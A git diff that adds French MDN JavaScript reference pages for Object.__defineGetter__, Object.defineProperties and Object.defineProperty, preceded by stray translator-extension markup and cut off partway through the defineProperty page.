value="gl">Galicien</option><option value="cy">Gallois</option><option value="ka">Géorgien</option><option value="el">Grec</option><option value="gu">Gudjarati</option><option value="ha">Haoussa</option><option value="haw">Hawaïen</option><option value="iw">Hébreu</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hongrois</option><option value="ig">Igbo</option><option value="id">Indonésien</option><option value="ga">Irlandais</option><option value="is">Islandais</option><option value="it">Italien</option><option value="ja">Japonais</option><option value="jw">Javanais</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ky">Kirghiz</option><option value="ku">Kurde</option><option value="lo">Laotien</option><option value="la">Latin</option><option value="lv">Letton</option><option value="lt">Lituanien</option><option value="lb">Luxembourgeois</option><option value="mk">Macédonien</option><option value="ms">Malaisien</option><option value="ml">Malayalam</option><option value="mg">Malgache</option><option value="mt">Maltais</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="nl">Néerlandais</option><option value="ne">Népalais</option><option value="no">Norvégien</option><option value="uz">Ouzbek</option><option value="ps">Pachtô</option><option value="pa">Panjabi</option><option value="fa">Persan</option><option value="pl">Polonais</option><option value="pt">Portugais</option><option value="ro">Roumain</option><option value="ru">Russe</option><option value="sm">Samoan</option><option value="sr">Serbe</option><option value="st">Sesotho</option><option value="sn">Shona</option><option value="sd">Sindhî</option><option value="sk">Slovaque</option><option value="sl">Slovène</option><option value="so">Somali</option><option value="su">Soudanais</option><option value="sv">Suédois</option><option value="sw">Swahili</option><option value="tg">Tadjik</option><option value="tl">Tagalog</option><option value="ta">Tamoul</option><option value="cs">Tchèque</option><option value="te">Telugu</option><option value="th">Thaï</option><option value="tr">Turc</option><option value="uk">Ukrainien</option><option value="ur">Urdu</option><option value="vi">Vietnamien</option><option value="xh">Xhosa</option><option value="yi">Yiddish</option><option value="yo">Yorouba</option><option value="zu">Zoulou</option></select></td>
+   <td class="SLO_td"></td>
+   <td class="SLO_td">
+    <div id="SLO_TTS_voice" title="Anglais"></div>
+   </td>
+   <td class="SLO_td">
+    <div class="SLO_copy" id="SLO_copy" title="Copier"></div>
+   </td>
+   <td class="SLO_td">
+    <div id="SLO_bbl_font_patch"></div>
+
+    <div class="SLO_bbl_font" id="SLO_bbl_font" title="Taille de police"></div>
+   </td>
+   <td class="SLO_td">
+    <div id="SLO_bbl_help" title="Aide"></div>
+   </td>
+   <td class="SLO_td">
+    <div class="SLO_pin_off" id="SLO_pin" title="Fixer la fenêtre pop-up"></div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<div id="SLO_shadow_translation_result"></div>
+
+<div class="SLO_loading" id="SLO_loading"></div>
+
+<div id="SLO_player2"></div>
+
+<div id="SLO_alert100">Fonction Sound est limitée à 200 caractères</div>
+
+<div id="SLO_Balloon_options" style="background: rgb(255, 255, 255);">
+<div id="SLO_arrow_down"></div>
+
+<table id="SLO_tbl_opt" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td><input></td>
+   <td>
+    <div id="SLO_BBL_IMG" title="Afficher le bouton ImTranslator 3 secondes"></div>
+   </td>
+   <td><a class="SLO_options" title="Afficher les options">Options</a> : <a class="SLO_options" title="Historique des traductions">Historique</a> : <a class="SLO_options" title="Commentaires">Commentaires</a> : <a class="SLO_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faire une contribution">Donate</a></td>
+   <td><span id="SLO_Balloon_Close" title="Fermer">Fermer</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+</div>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/definegetter/index.html b/files/fr/web/javascript/reference/objets_globaux/object/definegetter/index.html
new file mode 100644
index 0000000000..77c16bfe51
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/definegetter/index.html
@@ -0,0 +1,103 @@
+---
+title: Object.prototype.__defineGetter__()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/defineGetter
+tags:
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
+---
+<div>{{JSRef}}</div>
+
+<div class="warning">
+<p><strong>Attention :</strong> Cette fonctionnalité est dépréciée et il est préférable d'utiliser l'API {{jsxref("Object.defineProperty()")}} et <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">la syntaxe d'initialisation d'objets</a>. Toutefois, <code>__defineGetter__</code> est largement utilisée sur le Web et est implémentée. Il est donc peu probable que les navigateurs retirent cette méthode.</p>
+</div>
+
+<p>La méthode <code><strong>__defineGetter__</strong></code> permet de lier une propriété d'un objet à une fonction à exécuter lorsqu'on accède à la propriété.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__defineGetter__(<var>prop</var>, <var>func</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Une chaîne de caractères contenant le nom de la propriété à lier à la fonction donnée.</dd>
+ <dt><code>func</code></dt>
+ <dd>Une fonction à utiliser à chaque fois qu'on accède à la propriété.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>__defineGetter__</code> permet de définir un {{jsxref("Opérateurs/L_opérateur_get", "accesseur", "", 1)}} sur un objet pré-existant.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Méthode non-standard et dépréciée
+
+var o = {};
+o.__defineGetter__('gimmeFive', function() { return 5; });
+console.log(o.gimmeFive); // 5
+
+
+// Façon standard
+
+// En utilisant l'opérateur get
+var o = { get gimmeFive() { return 5; } };
+console.log(o.gimmeFive); // 5
+
+// En utilisant Object.defineProperty
+var o = {};
+Object.defineProperty(o, 'gimmeFive', {
+  get: function() {
+    return 5;
+  }
+});
+console.log(o.gimmeFive); // 5
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.__defineGetter__', 'Object.prototype.__defineGetter__()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.defineGetter")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}}</li>
+ <li>L'opérateur {{jsxref("Opérateurs/L_opérateur_get", "get")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.lookupGetter","Object.prototype.__lookupGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.lookupSetter","Object.prototype.__lookupSetter__()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_getters_et_setters">Guide JavaScript : définir des getters et setters</a></li>
+ <li><a href="https://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">[Billet de blog] Deprecation of __defineGetter__ and __defineSetter__</a> (en anglais)</li>
+ <li>{{bug(647423)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/defineproperties/index.html b/files/fr/web/javascript/reference/objets_globaux/object/defineproperties/index.html
new file mode 100644
index 0000000000..01647f7dec
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/defineproperties/index.html
@@ -0,0 +1,201 @@
+---
+title: Object.defineProperties()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/defineProperties
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.defineProperties()</strong></code> permet de définir ou de modifier les propriétés d'un objet directement sur celui-ci. La valeur renvoyée est l'objet modifié.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-defineproperties.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.defineProperties(<var>obj</var>, <var>props</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet dont on souhaite modifier ou définir certaines propriétés.</dd>
+ <dt><code>props</code></dt>
+ <dd>Un objet dont les propriétés propres et énumérables sont des descripteurs de propriétés pour les propriétés à définir ou à modifier. Les descripteurs de propriétés peuvent avoir deux formes (voir {{jsxref("Object.defineProperty()")}} pour plus d'informations) : un descripteur de donnée ou un descripteur d'accesseur.</dd>
+ <dd>Les descripteurs de donnée et d'accesseur peuvent avoir les clés suivantes :
+ <dl>
+  <dt><code>configurable</code></dt>
+  <dd><code>true</code> si et seulement si le type de ce descripteur peut être modifié et si la propriété peut être supprimée de l'objet.<br>
+  <strong>Par défaut : <code>false</code>.</strong></dd>
+  <dt><code>enumerable</code></dt>
+  <dd><code>true</code> si et seulement si la propriété doit être listée lors des énumérations de propriétés de l'objet (quand on liste les propriétés pour une boucle par exemple).<br>
+  <strong>Par défaut : <code>false</code>.</strong></dd>
+ </dl>
+
+ <p>Un descripteur de donnée pourra avoir les clés suivantes :</p>
+
+ <dl>
+  <dt><code>value</code></dt>
+  <dd>La valeur associée à la propriété. Cela peut être n'importe quelle valeur valide en JavaScript (un nombre, un objet, etc.).<br>
+  <strong>Par défaut : {{jsxref("undefined")}}.</strong></dd>
+  <dt><code>writable</code></dt>
+  <dd><code>true</code> si et seulement si la valeur associée à la propriété peut être modifiée par un {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateur d'affectation", "", 1)}}.<br>
+  <strong>Par défaut : <code>false</code>.</strong></dd>
+ </dl>
+
+ <p>Un descripteur d'accesseur pourra avoir les clés suivantes :</p>
+
+ <dl>
+  <dt><code>get</code></dt>
+  <dd>Une fonction utilisée comme accesseur pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas d'accesseur. La fonction renvoyée sera utilisée comme valeur pour la propriété.<br>
+  <strong>Par défaut : {{jsxref("undefined")}}.</strong></dd>
+  <dt><code>set</code></dt>
+  <dd>Une fonction utilisée comme mutateur pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas de mutateur. La fonction qui sera utilisée ensuite recevra la nouvelle valeur à affecter à la propriété comme argument.<br>
+  <strong>Par défaut : {{jsxref("undefined")}}.</strong></dd>
+ </dl>
+
+ <p>Si un descripteur ne possède aucune clé parmi <code>value</code>, <code>writable</code>, <code>get</code> et <code>set</code>, il sera considéré comme un descripteur de donnée. Si un descripteur possède à la fois les clés <code>value</code>/<code>writable</code> et <code>get</code>/<code>set</code>, une exception sera levée.</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet passé à la fonction, éventuellement modifié.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.defineProperties</code> permet principalement de définir toutes les propriétés  de l'objet <code>obj </code>correspondant aux propriétés énumérable de <code>props</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var obj = {};
+Object.defineProperties(obj, {
+  "propriété1": {
+    value: true,
+    writable: true
+  },
+  "propriété2": {
+    value: "Coucou",
+    writable: false
+  }
+  // etc.
+});</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Si on considère un environnement <em>pur</em> où tous les noms et toutes les propriétés font référence à leurs valeurs initiales, <code>Object.defineProperties</code> est quasiment équivalent à l'implémentation suivante en JavaScript (voir la note liée à <code>isCallable</code>) :</p>
+
+<pre class="brush: js;highlight:[8]">function defineProperties(obj, properties) {
+  function convertToDescriptor(desc) {
+    function hasProperty(obj, prop) {
+      return Object.prototype.hasOwnProperty.call(obj, prop);
+    }
+
+    function isCallable(v) {
+      // NB : à modifier s'il y a plus de types
+      // que les fonctions qui sont
+      // appelables (callables)
+      return typeof v === "function";
+    }
+
+    if (typeof desc !== "object" || desc === null)
+      throw new TypeError("bad desc");
+
+    var d = {};
+
+    if (hasProperty(desc, "enumerable"))
+      d.enumerable = !!desc.enumerable;
+    if (hasProperty(desc, "configurable"))
+      d.configurable = !!desc.configurable;
+    if (hasProperty(desc, "value"))
+      d.value = desc.value;
+    if (hasProperty(desc, "writable"))
+      d.writable = !!desc.writable;
+    if ( hasProperty(desc, "get") ) {
+      var g = desc.get;
+
+      if (!isCallable(g) &amp;&amp; typeof g !== "undefined")
+        throw new TypeError("bad get");
+      d.get = g;
+    }
+    if ( hasProperty(desc, "set") ) {
+      var s = desc.set;
+      if (!isCallable(s) &amp;&amp; typeof s !== "undefined")
+        throw new TypeError("bad set");
+      d.set = s;
+    }
+
+    if (("get" in d || "set" in d) &amp;&amp; ("value" in d || "writable" in d))
+      throw new TypeError("identity-confused descriptor");
+
+    return d;
+  }
+
+  if (typeof obj !== "object" || obj === null)
+    throw new TypeError("bad obj");
+
+  properties = Object(properties);
+
+  var keys = Object.keys(properties);
+  var descs = [];
+
+  for (var i = 0; i &lt; keys.length; i++)
+    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
+
+  for (var i = 0; i &lt; descs.length; i++)
+    Object.defineProperty(obj, descs[i][0], descs[i][1]);
+
+  return obj;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée par JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.defineProperties")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Détention et énumération des propriétés</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/defineproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/object/defineproperty/index.html
new file mode 100644
index 0000000000..e7222df8ba
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/defineproperty/index.html
@@ -0,0 +1,421 @@
+---
+title: Object.defineProperty()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/defineProperty
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Object.defineProperty()</strong></code> permet de définir une nouvelle propriété ou de modifier une propriété existante, directement sur un objet. La méthode renvoie l'objet modifié.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette méthode est directement appelée via le constructeur {{jsxref("Object")}} plutôt que sur les instances de type <code>Object</code>.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/object-defineproperty.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.defineProperty(<var>obj</var>, <var>prop</var>, <var>descripteur</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet sur lequel on souhaite définir ou modifier une propriété.</dd>
+ <dt><code>prop</code></dt>
+ <dd>Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété qu'on définit ou qu'on modifie.</dd>
+ <dt><code>descripteur</code></dt>
+ <dd>Le descripteur de la propriété qu'on définit ou qu'on modifie.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet qui a été passé à la fonction et qui a éventuellement été modifié.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode permet d'ajouter ou de modifier une propriété d'un objet avec une certaine précision. En effet, quand on ajoute une propriété « normalement » (via une affectation), on crée une propriété dont le comportement par défaut fait qu'elle sera listée dans une énumération de propriétés (par exemple avec une boucle {{jsxref("Instructions/for...in","for...in")}} ou via la méthode {{jsxref("Object.keys")}}), dont la valeur peut être changée et qui peut être supprimée via {{jsxref("Opérateurs/L_opérateur_delete","delete")}}. La méthode <code>Object.defineProperty()</code> permet de préciser le comportement attendu, potentiellement différent de celui par défaut.</p>
+
+<p>Les descripteurs de propriété existent en deux versions : les descripteurs de données et les descripteurs d'accesseur. Un descripteur de données est une propriété qui possède une valeur et qui peut ou non être accessible en écriture. Un descripteur d'accesseur est une propriété décrite par une paire d'accesseur/mutateur (<em>getter/setter</em>) qui sont des fonctions. Un descripteur est un descripteur de données ou un descripteur d'accesseur, il ne peut pas être les deux.</p>
+
+<p>Les descripteurs de données et d'accesseur sont des objets. Ils partagent les propriétés suivantes (la valeur par défaut indiquée est utilisée lorsqu'on passe par <code>Object.defineProperty()</code>) :</p>
+
+<dl>
+ <dt><code>configurable</code></dt>
+ <dd><code>true</code> si et seulement si le type de ce descripteur de propriété peut être changé et si la propriété peut/pourra être supprimée de l'objet correspondant..<br>
+ <strong>La valeur par défaut est </strong><strong><code>false</code></strong><strong>.</strong></dd>
+ <dt><code>enumerable</code></dt>
+ <dd><code>true</code> si et seulement si la propriété apparaît lors de l'énumération des propriétés de l'objet correspondant.<br>
+ <strong><strong>La valeur par défaut est</strong> </strong><strong><code>false</code></strong><strong>.</strong></dd>
+</dl>
+
+<p>Un descripteur de données possède les propriétés optionnelles suivantes :</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>La valeur associée à la propriété. Peut être n'importe quelle valeur JavaScript valide (un nombre, un objet, etc.).<br>
+ <strong>La valeur par défaut est {{jsxref("undefined")}}.</strong></dd>
+ <dt><code>writable</code></dt>
+ <dd><code>true</code> si et seulement si la valeur associée à la propriété peut être modifiée en utilisant un {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateur d'affectation", "", 1)}}.<br>
+ <strong><strong>La valeur par défaut est</strong> <code>false</code>.</strong></dd>
+</dl>
+
+<p>Un descripteur d'accesseur possède les propriétés optionnelles suivantes :</p>
+
+<dl>
+ <dt><code>get</code></dt>
+ <dd>Une fonction qui est utilisée comme accesseur (<em>getter</em>) pour la propriété ou bien {{jsxref("undefined")}} s'il n'existe pas d'accesseur. La valeur de retour de la fonction sera utilisée comme valeur pour la propriété. Lorsqu'on accède à la propriété, la fonction est appelée sans argument avec <code>this</code> qui est l'objet pour lequel on souhaite consulter la propriété.<br>
+ <strong><strong>La valeur par défaut est</strong> {{jsxref("undefined")}}</strong>.</dd>
+ <dt><code>set</code></dt>
+ <dd>Une fonction qui est utilisée comme mutateur (<em>setter</em>) pour la propriété ou bien {{jsxref("undefined")}} s'il n'existe pas de mutateur. Pour unique argument, la fonction recevra la nouvelle valeur à affecter à la propriété. Le contexte <code>this</code> passé est l'objet sur lequel on souhaite modifier la propriété.<br>
+ <strong>La valeur par défaut est {{jsxref("undefined")}}</strong>.</dd>
+</dl>
+
+<p>Si un descripteur ne possède aucune des clés <code>value</code>, <code>writable</code>, <code>get</code> ou <code>set</code>, il est considéré comme un descripteur de données. Si un descripteur possède à la fois une propriété <code>value</code> ou <code>writable</code> et une propriété <code>get</code> ou <code>set</code>, un exception sera déclenchée.</p>
+
+<p>Il faut garder à l'esprit que ces options ne sont pas nécessairement les descripteurs des propriétés propres. Elles peuvent être héritées et faire partie de la chaine des prototypes. Afin de s'assurer que les valeur par défaut sont préservées, on peut d'abord geler le prototype {{jsxref("Object.prototype")}}, définir toutes les options explicitement ou faire pointer la propriété {{jsxref("Object.prototype.__proto__", "__proto__")}} vers {{jsxref("null")}} (par exemple avec {{jsxref("Object.create","Object.create(null)")}}).</p>
+
+<pre class="brush:js">var obj = {};
+// en utilisant __proto__
+Object.defineProperty(obj, "clé", {
+  __proto__: null, // aucune propriété héritée
+  value: "static"  // non énumérable
+                   // non configurable
+                   // non accessible en écriture
+                   // par défaut
+});
+
+// en étant explicite
+Object.defineProperty(obj, "clé", {
+  enumerable: false,
+  configurable: false,
+  writable: false,
+  value: "static"
+});
+
+// en recyclant un objet
+function avecValeur(valeur) {
+  var d = avecValeur.d || (
+    avecValeur.d = {
+      enumerable: false,
+      writable: false,
+      configurable: false,
+      value: null
+    }
+  );
+  if(d.value !== valeur){
+    d.value = valeur;
+  }
+  return d;
+}
+// ... autres instructions... puis
+Object.defineProperty(obj, "clé", avecValeur("static"));
+
+// si la méthode freeze est disponible,
+// on peut empêcher que du code ajoute des
+// propriétés (valeur, get, set, enumerable,
+// writable, configurable) au prototype d'Object
+(Object.freeze||Object)(Object.prototype);</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour plus d'exemples utilisant la méthode <code>Object.defineProperty</code> avec une syntaxe de masque binaire, voir <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineProperty/Exemples_suppl%C3%A9mentaires">les exemples supplémentaires</a>.</p>
+
+<h3 id="Créer_une_propriété">Créer une propriété</h3>
+
+<p>Lorsqu'une propriété n'existe pas pour l'objet, <code>Object.defineProperty()</code> créera une nouvelle propriété telle qu'elle est décrite. Certains champs du descripteur peuvent manquer, les valeurs par défaut seront alors utilisées. Tous les booléens ont <code>false</code> pour valeur par défaut. Une propriété définie sans <code>get</code>/<code>set</code>/<code>value</code>/<code>writable</code> est appelée « générique » et « correspond » à un descripteur de données.</p>
+
+<pre class="brush: js">var o = {}; // on crée un nouvel objet
+
+// Exemple d'une propriété ajoutée via defineProperty
+// avec un descripteur de données
+Object.defineProperty(o, "a", {value : 37,
+                               writable : true,
+                               enumerable : true,
+                               configurable : true});
+// la propriété 'a' existe pour l'objet o et vaut 37
+
+// Exemple d'une propriété ajoutée via defineProperty
+// avec un descripteur d'accesseur
+var valeurB = 38;
+Object.defineProperty(o, "b", {get : function(){ return valeurB; },
+                               set : function(nouvelleValeur){
+                                           valeurB = nouvelleValeur;
+                                     },
+                               enumerable : true,
+                               configurable : true});
+o.b; // 38
+// la propriété 'b' existe pour l'objet o
+// et vaut 38
+// La valeur de o.b est désormais toujours
+// identique à valeurB, sauf si o.b est redéfini
+
+// On ne peut pas mélanger les deux :
+Object.defineProperty(o, "conflit", { value: 0x9f91102,
+                                       get: function() {
+                                            return 0xdeadbeef;
+                                       }
+                                     });
+// une exception TypeError sera lancée : value n'apparaît
+// que dans les descripteurs de données
+// get n'apparait que dans les descripteurs d'accesseur
+</pre>
+
+<h3 id="Modifier_une_propriété_existante">Modifier une propriété existante</h3>
+
+<p>Quand une propriété existe d'ores et déjà pour un objet, <code>Object.defineProperty()</code> tentera de modifier la propriété pour qu'elle corresponde aux valeurs indiquées dans le descripteur et à la configuration de l'objet courant. Si l'ancien descripteur avait <code>configurable</code> à  <code>false</code> (la propriété est dite non-configurable), aucun attribut, à l'exception de <code>writable</code>, ne peut être changé. Dans ce cas, il n'est pas possible de changer entre les types de descripteur.</p>
+
+<p>Si une propriété est non-configurable, son attribut <code>writable</code> ne peut être mis qu'à <code>false</code>.</p>
+
+<p>Une exception {{jsxref("TypeError")}} peut être levée quand on essaie de modifier des attributs de propriété non-configurables (en dehors des attributs <code>value</code> et <code>writable</code>) sauf dans le cas où les valeurs souhaitées sont les mêmes que les valeurs courantes.</p>
+
+<h4 id="Attribut_writable">Attribut <code>writable</code></h4>
+
+<p>Lorsque l'attribut <code>writable</code> vaut <code>false</code> pour la propriété, cette dernière n'est plus accessible en écriture. Il est impossible de la réaffecter.</p>
+
+<pre class="brush: js">var o = {}; // On crée un nouvel objet
+
+Object.defineProperty(o, "a", { value : 37,
+                                writable : false });
+
+console.log(o.a); // inscrit 37 dans les journaux (logs)
+o.a = 25; // Aucune exception n'est lancée (on aurait une
+          // exception en mode strict, y compris si la
+          // valeur souhaitée avait été la même)
+console.log(o.a); // inscrit toujours 37.
+                  //L'affectation n'a pas fonctionné.</pre>
+
+<pre class="brush: js">// En mode strict
+(function() {
+  'use strict';
+  var o = {};
+  Object.defineProperty(o, 'b', {
+    value: 2,
+    writable: false
+  });
+  o.b = 3; // déclenche une TypeError: "b" est en lecture seule
+  return o.b; // renvoie 2 sans la ligne précédente
+}());
+</pre>
+
+<p>Comme on l'a vu dans l'exemple, essayer de modifier une propriété non accessible en écriture ne la modifie pas. Cela ne rend pas d'erreur non plus (en mode non-strict).</p>
+
+<h4 id="Attribut_enumerable">Attribut <code>enumerable</code></h4>
+
+<p>L'attribut de propriété <code>enumerable</code> permet de définir si la propriété est sélectionnée par {{jsxref("Object.assign()")}} ou via l'opérateur <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">de décomposition</a> (<em>spread</em>). Pour les propriétés qui ne sont pas nommées avec des symboles, les propriétés énumérables correspondent aux propriétés qui sont listées avec une boucle {{jsxref("Instructions/for...in","for...in")}} ou avec la méthode {{jsxref("Object.keys()")}}.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', {
+  value: 1,
+  enumerable: true
+});
+Object.defineProperty(o, 'b', {
+  value: 2,
+  enumerable: false
+});
+Object.defineProperty(o, 'c', {
+  value: 3
+}); // enumerable vaut false par défaut
+o.d = 4; // enumerable vaut true par défaut
+         // lorsqu'on crée une propriété
+         // en la définissant
+Object.defineProperty(o, Symbol.for('e'), {
+  value: 5,
+  enumerable: true
+});
+Object.defineProperty(o, Symbol.for('f'), {
+  value: 6,
+  enumerable: false
+});
+
+for (var i in o) {
+  console.log(i);
+}
+// affiche 'a' et 'd' (dans un ordre indéfini)
+
+Object.keys(o); // ['a', 'd']
+
+o.propertyIsEnumerable('a'); // true
+o.propertyIsEnumerable('b'); // false
+o.propertyIsEnumerable('c'); // false
+o.propertyIsEnumerable('d'); // true
+o.propertyIsEnumerable(Symbol.for('e')); // true
+o.propertyIsEnumerable(Symbol.for('f')); // false
+
+var p = { ...o }
+p.a // 1
+p.b // undefined
+p.c // undefined
+p.d // 4
+p[Symbol.for('e')] // 5
+p[Symbol.for('f')] // undefined
+</pre>
+
+<h4 id="Attribut_configurable">Attribut <code>configurable</code></h4>
+
+<p>L'attribut <code>configurable</code> permet de contrôler si la propriété peut être supprimée et si les autres attributs de propriété (voir ci-avant), à l'exception de <code>value</code> ou de <code>writable</code>, peuvent être modifiés.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, "a", { get : function(){return 1;},
+                                configurable : false } );
+
+Object.defineProperty(o, "a", {configurable : true});
+// renvoie une TypeError
+
+Object.defineProperty(o, "a", {enumerable : true});
+// renvoie une TypeError
+
+Object.defineProperty(o, "a", {set : function(){}});
+// renvoie une TypeError (set était non défini avant)
+
+Object.defineProperty(o, "a", {get : function(){return 1;}});
+// renvoie une TypeError
+// (bien que le nouveau get soit identique au précédent)
+
+Object.defineProperty(o, "a", {value : 12});
+// renvoie une TypeError
+
+console.log(o.a); // log 1
+delete o.a; // Rien ne se passe
+console.log(o.a); // log 1
+</pre>
+
+<p>Si l'attribut <code>configurable</code> de <code>o.a</code> avait été <code>true</code>, aucune de ces erreurs n'aurait été renvoyée et la propriété aurait été supprimée au final.</p>
+
+<h3 id="Ajouter_des_propriétés_et_des_valeurs_par_défaut">Ajouter des propriétés et des valeurs par défaut</h3>
+
